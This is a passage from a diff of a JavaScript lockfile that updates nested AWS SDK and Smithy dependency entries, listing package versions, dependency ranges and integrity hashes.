- "@aws-sdk/client-kendra/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
@@ -7805,10 +7621,18 @@
"@aws-sdk/client-kendra/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-kendra/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@aws-sdk/client-kendra/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@aws-sdk/client-kendra/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/client-kendra/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@aws-sdk/client-kendra/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-kendra/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@aws-sdk/client-kendra/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@aws-sdk/client-kendra/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -7873,92 +7697,126 @@
"@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@aws-sdk/core": ["@aws-sdk/core@3.758.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-0RswbdR9jt/XKemaLNuxi2gGr4xGlHyGxkTdhSQzCyUe9A9OPCoLl3rIESRguQEech+oJnbHk/wuiwHqTuP9sg=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@aws-sdk/util-arn-parser": ["@aws-sdk/util-arn-parser@3.723.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-ZhEfvUwNliOQROcAk34WJWVYTlTa4694kSVhDSjW6lE1bMataPnIN8A0ycukEzBXmd8ZSoBcQLn6lKGl7XIJ5w=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider": ["@smithy/node-config-provider@4.0.1", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-8mRTjvCtVET8+rxvmzRNRR0hH2JjV0DFOmwXPrISmTIJEfnCBugpYYGAsCj8t41qd+RB5gbheSQ/6aKZCQvFLQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-config-provider": ["@smithy/util-config-provider@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-L1RBVzLyfE8OXH+1hsJ8p+acNUSirQnWQ6/EgpchV88G6zGBTDPdXiiExei6Z1wR2RxYvxY/XLw6AMNCCt8H3w=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-YZ5s7PSvyF3Mt2h1EQulCG93uybprNGbBkPmVuy/HMMfbFTt4iL3SbKjxqvOZelm86epFfj7pvK7FliI2WOEcg=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
- "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
- "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Ma2XC7VS9aV77+clSFylVUnPZRindhB7BbmYiNOdr+CHt/kZNJoPP0cd3QxCnCFyPXC4eybmyE98phEHkqZ5Jw=="],
- "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="],
- "@aws-sdk/nested-clients/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="],
- "@aws-sdk/nested-clients/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
- "@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
- "@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="],
- "@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
